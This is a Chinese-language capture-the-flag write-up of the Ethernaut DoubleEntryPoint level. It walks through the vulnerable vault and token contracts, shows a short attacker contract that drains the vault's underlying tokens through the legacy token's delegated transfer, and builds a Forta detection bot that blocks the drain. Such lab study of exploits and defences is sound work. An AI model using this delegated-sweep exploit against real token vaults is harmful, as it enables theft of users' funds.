DoublicEntryPoint 题目 要求:找到CryptoVault中的bug,用玩家EOA账户创建Forta机器人,进行防御而不是攻击。注意,需要在被攻击之前设置好机器人以完成题目,也就是说,不能你尝试攻击成功后再做防御。因此,你在测试过可以攻击后,要重新生成一个instance,然后直接防御。我猜题目的检测机制是看看能不能攻击成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/access/Ownable.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; interface DelegateERC20 { function delegateTransfer(address to, uint256 value, address origSender) external returns (bool); } interface IDetectionBot { function handleTransaction(address user, bytes calldata msgData) external; } interface IForta { function setDetectionBot(address detectionBotAddress) external; function notify(address user, bytes calldata msgData) external; function raiseAlert(address user) external; } contract Forta is IForta { mapping(address => IDetectionBot) public usersDetectionBots; mapping(address => uint256) public botRaisedAlerts; function setDetectionBot(address detectionBotAddress) external override { usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress); } function notify(address user, bytes calldata msgData) external override { if(address(usersDetectionBots[user]) == address(0)) return; try usersDetectionBots[user].handleTransaction(user, msgData) { return; } catch {} } function raiseAlert(address user) external override { if(address(usersDetectionBots[user]) != msg.sender) return; botRaisedAlerts[msg.sender] += 1; } } contract CryptoVault { address public sweptTokensRecipient; IERC20 public underlying; constructor(address recipient) { sweptTokensRecipient = recipient; } function setUnderlying(address latestToken) public { require(address(underlying) == address(0), "Already set"); underlying = IERC20(latestToken); } /* ... */ function sweepToken(IERC20 token) public { require(token != underlying, "Can't transfer underlying token"); token.transfer(sweptTokensRecipient, token.balanceOf(address(this))); } } contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable { DelegateERC20 public delegate; function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } function delegateToNewContract(DelegateERC20 newContract) public onlyOwner { delegate = newContract; } function transfer(address to, uint256 value) public override returns (bool) { if (address(delegate) == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } } } contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable { address public cryptoVault; address public player; address public delegatedFrom; Forta public forta; constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) { delegatedFrom = legacyToken; forta = Forta(fortaAddress); player = playerAddress; cryptoVault = vaultAddress; _mint(cryptoVault, 100 ether); } modifier onlyDelegateFrom() { require(msg.sender == delegatedFrom, "Not legacy contract"); _; } modifier fortaNotify() { address detectionBot = address(forta.usersDetectionBots(player)); // Cache old number of bot alerts uint256 previousValue = forta.botRaisedAlerts(detectionBot); // Notify Forta forta.notify(player, msg.data); // Continue execution _; // Check if alarms have been raised if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting"); } function delegateTransfer( address to, uint256 value, address origSender ) public override onlyDelegateFrom fortaNotify returns (bool) { _transfer(origSender, to, value); return true; } }
分析 1.全局观 题目看起来挺复杂,别被吓到(好吧我已经被吓到了:fearful:),走流程分析。
我们第一步要看看这个题目都有些啥合约,根据名字、继承关系和题目描述,我们可以推断他们的大概职责:
LegacyToken(LGT),DoubleEntryPoint(DET):两个ERC20代币合约
CryptoVault:金库合约
Forta:报警机器人,任何人都可以在这里注册机器人,然后检测其他合约,交易异常则发出报警
2.详细分析 知道了各个合约的职责,我们就要详细分析每个合约干了些什么。通常顺序是先看方法名理解会做啥事情,然后再具体分析代码逻辑
LegacyToken(LGT)
重写了transfer
如果delagate地址没有设置,或者设为0,则正常调用ERC20标准的transfer
如果delagate设置为其他值,则调用delegate的delegateTransfer()
方法。本题中,delegate是DoubleEntryPoint合约,因此只会走这里而不会调用ERC20标准的transfer
只有onwer可以修改delagate
DoubleEntryPoint(DET)
初始化所有变量,然后mint 100 个DET给CryptoVault(金库)
onlyDelegateFrom修饰的方法只可以由delegatedFrom调用,也就是LegacyToken(LGT)
fortaNotify:用于报警机器人,首先获取报警机器人之前报警的次数,执行报警机器人的norify()
,也就是让报警机器人执行handleTransaction()
来处理这笔交易。然后执行被修饰的方法。如果这笔交易将会发生警报,那么将会增加报警的次数,一旦新的报警次数大于之前的(也就是说这次交易发生了报警嘛),就将这笔交易revert
delegateTransfer()
只能由LegacyToken(LGT)合约调用,并且fortaNotify充当报警机器人进行监控,如果发生报警则交易revert。如果一切顺利,我们将调用_transfer()
方法将DET代币转移
CryptoVault(金库)
这个合约有bug,我们需要做的不是攻击,而是帮助这个合约进行防御
持有100个DET和LGT代币
setUnderlying()
设置底层代币地址,并且只能设置一次,也就是DoubleEntryPoint(DET),因为题目说了:
The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it.
sweepToken()
在确保要被转移的代币不是DET的情况下,将本合约中的此token所有余额转移到sweptTokensRecipient中。当然sweptTokensRecipient我们无法修改。
Forta(报警机器人)
用于监控,检测DeFi、NFT、DAO、跨链桥等
setDetectionBot()
方法,任何人都可以实现一个报警机器人(需要实现相应的方法),然后注册到本合约Forta中使用。
raiseAlert()
增加报警次数
3.寻找漏洞 要找到漏洞,要看看现在我们拥有什么。题目给我们的instance是DET合约,这个可以通过到github仓库 得知:
1 2 3 4 5 6 function createInstance(address _player) override public payable returns (address) { .... DoubleEntryPoint newToken = new DoubleEntryPoint(address(oldToken), address(vault), address(forta), _player); ...... return address(newToken); }
然后拿着这个instance地址,查看slot情况,我们遍历前15个slot,结果如下。因为DET继承了好几个合约,继承的slot是按顺序往下排的,因此他本身的四个变量的slot是6~9。并且CryptoVault是slot 6。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [Address] 0x494Cb524120F5EFFbA2a8430F8d41aB6AcbF11A1 (DET) [Slot 0] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 1] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 2] 0x0000000000000000000000000000000000000000000000056bc75e2d63100000 [Slot 3] 0x446f75626c65456e747279506f696e74546f6b656e000000000000000000002a [Slot 4] 0x4445540000000000000000000000000000000000000000000000000000000006 [Slot 5] 0x0000000000000000000000009451961b7aea1df57bc20cc68d72f662241b5493 [Slot 6] 0x0000000000000000000000002afe0c3dc3a9cf42a0b0cf6ace3e00d6c4ce66d5 // CryptoVault,此合约中包含DET [Slot 7] 0x000000000000000000000000d3e65149c212902749d49011b6ab24bba30d97c6 // player [Slot 8] 0x00000000000000000000000012cae34400598ab6afc58b670a1a1e80cdbdaf78 // delegatedFrom(LGT) [Slot 9] 0x0000000000000000000000005dfa1e4e8c1f4a3f88ff2ed3a12e92d3c8129ea9 // forta [Slot 10] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 11] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 12] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 13] 0x0000000000000000000000000000000000000000000000000000000000000000 [Slot 14] 0x0000000000000000000000000000000000000000000000000000000000000000
我们看看slot 6 CryptoVault在Etherscan的资产情况,确实拥有DET和LGT各100个
因为金库CryptoVault中的sweepToken()
除了无法提取底层代币,其他的代币都可以提取。那么理论上任何人都可以提取LGT这个代币,而无法提取DET这个底层代币,这也是业务的期望逻辑。但是这就是问题就在这里,我们可以把底层代币DET提取出来。
攻击方法是调用CryptoVault的sweepToken()
,攻击思路如下:
1.在CryptoVault合约中调用sweepToken( LGT ),可以调用成功因为传参不是DET
2.在LGT合约中,会调用到transfer()
。这不是transfer()
的标准实现,这种魔改的方法往往会有问题。因为LGT合约中已经设置过delegate了,为DET,因此会走到else语句中。注意,这里的msg.sender是CryptoVault。
1 2 3 4 5 6 7 function transfer(address to, uint256 value) public override returns (bool) { if (address(delegate) == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } }
3.然后会程序流会跳转到DET合约的delegateTransfer()
方法,然后进行转账。因为没有设置机器人来报警,因此会被转走代币。
4.这样,我们就在CryptoVault偷走DET!
攻击代码可以是如下。将题目instance地址传入,然后调用attack_stealDET()
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pragma solidity 0.8.17; interface IForta { function setDetectionBot(address) external; function notify(address , bytes calldata ) external; function raiseAlert(address ) external; }//报警机器人 interface IDetectionBot { function handleTransaction(address, bytes calldata ) external; } interface ICryptoVault{ function sweepToken(address) external; function underlying() external view returns(address); } // 金库 interface ILegacyToken { } // 垃圾币 interface IDoubleEntryPoint { function cryptoVault() external view returns(address); function delegatedFrom() external view returns(address); function forta() external view returns(address); } // 底层币 // 1. 获取一个实例,尝试是否可以攻击成功 contract attaker{ IDoubleEntryPoint instance; // 题目实例 IForta forta; // 报警机器人 IDoubleEntryPoint DET; // 底层币 ILegacyToken LGT; // 垃圾币 ICryptoVault vault; // 金库 constructor(IDoubleEntryPoint _addr) public { // 初始化题目信息 instance = _addr; vault = ICryptoVault(instance.cryptoVault()); DET = IDoubleEntryPoint(vault.underlying()); LGT = ILegacyToken(instance.delegatedFrom()); forta = IForta(instance.forta()); } function attack_stealDET() public { // 2.我们来尝试一下是否可以攻击成功 vault.sweepToken(address(LGT)); } }
4.做出防御 那么,我们就大概知道了攻击逻辑:当调用跳转到LGT合约的时候,又会让CryptoVault跳转到DET,并调用DET时的msg.sender是CryptoVault。这样就实现了偷钱。因此,我们的防御思路就是在调用DET的转账方法的时候,设置一个报警机器人,让它来检查LGT的transfer()
第三个参数msg.sender是不是CryptoVault即可,是则报警(也就是将报警数量+1,调用raiseAlert()
)
1 return delegate.delegateTransfer(to, value, msg.sender);
那么如何找到第三个参数msg.sender呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function transfer(address to, uint256 value) public override returns (bool) { if (address(delegate) == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } } function delegateTransfer( address to, uint256 value, address origSender ) public override onlyDelegateFrom fortaNotify returns (bool) { _transfer(origSender, to, value); return true; } function notify(address user, bytes calldata msgData) external override { if(address(usersDetectionBots[user]) == address(0)) return; try usersDetectionBots[user].handleTransaction(user, msgData) { return; } catch {} }
handleTransaction()传入的calldata如下:
长度
offset
变量类型
值
4 bytes
0x0
bytes4
函数选择器handleTransaction(address,bytes):0x220ab6aa
32 bytes
0x4
address
user
32 bytes
0x24
uint256
Offset of msgData
32 bytes
0x44
uint256
Length of msgData
4 bytes
0x64
bytes4
函数选择器delegateTransfer(address,uint256,address):0x9cd1a121
32 bytes
0x68
address
to
32 bytes
0x88
uint256
value
32 bytes
0xA8
address
msg.sender
28 bytes
0xC8
bytes
补0
我们需要判断的msg.sender位于calldata的0xA8之后的32字节,因此我们用内联汇编取出来判断即可:
完整的报警机器人实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // 3. 部署一个MyRobot contract MyRobot is IDetectionBot { ICryptoVault vault; constructor(ICryptoVault _addr) public { vault = _addr; } function handleTransaction(address user, bytes calldata msgData) external override { address origSender; assembly { origSender := calldataload(0xa8) } if(origSender == address(vault)) { IForta(msg.sender).raiseAlert(user); } } } // 4. 创建一个新的题目instance // 5. 用EOA账户调用新实例的IForta的setDetectionBot()设置报警机器人 // 6. 完成
解题 完整代码如下,根据代码中的序号一步一步调用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 pragma solidity 0.8.17; interface IForta { function setDetectionBot(address) external; function notify(address , bytes calldata ) external; function raiseAlert(address ) external; } // 报警机器人 interface IDetectionBot { function handleTransaction(address, bytes calldata ) external; } interface ICryptoVault{ function sweepToken(address) external; function underlying() external view returns(address); } // 金库 interface ILegacyToken { } // 垃圾币 interface IDoubleEntryPoint { function cryptoVault() external view returns(address); function delegatedFrom() external view returns(address); function forta() external view returns(address); } // 底层币 // 1. 获取一个实例,尝试是否可以攻击成功 contract attaker{ IDoubleEntryPoint instance; // 题目实例 IForta forta; // 报警机器人 IDoubleEntryPoint DET; // 底层币 ILegacyToken LGT; // 垃圾币 ICryptoVault vault; // 金库 constructor(IDoubleEntryPoint _addr) public { // 初始化题目信息 instance = _addr; vault = ICryptoVault(instance.cryptoVault()); DET = IDoubleEntryPoint(vault.underlying()); LGT = ILegacyToken(instance.delegatedFrom()); forta = IForta(instance.forta()); } function attack_stealDET() public { // 2.我们来尝试一下是否可以攻击成功 vault.sweepToken(address(LGT)); } } // 3. 用玩家EOA账号部署一个MyRobot contract MyRobot is IDetectionBot { ICryptoVault vault; constructor(ICryptoVault _addr) public { vault = _addr; } function handleTransaction(address user, bytes calldata msgData) external override { address origSender; assembly { origSender := calldataload(0xa8) } if(origSender == address(vault)) { IForta(msg.sender).raiseAlert(user); } } } // 4. 创建一个新的题目instance // 5. 用EOA账户调用新实例的IForta的setDetectionBot()设置报警机器人 // 6. 完成
给出攻击的流程:
成功